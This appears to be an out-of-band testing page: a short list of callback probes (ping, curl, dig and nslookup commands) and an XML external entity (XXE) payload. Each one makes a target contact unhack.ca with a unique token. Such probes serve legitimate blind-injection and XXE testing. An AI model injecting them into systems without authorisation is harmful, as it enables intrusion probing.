$ ping -c1 -p 0051cb454a7c1f65b8d766176facb100 unhack.ca
 

$ curl http://unhack.ca/p/51cb454a7c1f65b8d766176facb1
 

$ dig 51cb454a7c1f65b8d766176facb1 @unhack.ca
 

$ dig 51cb454a7c1f65b8d766176facb1.ns.unhack.ca
 

C:\> nslookup 51cb454a7c1f65b8d766176facb1 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/51cb454a7c1f65b8d766176facb1">]>
    <foo>&xxe;</foo>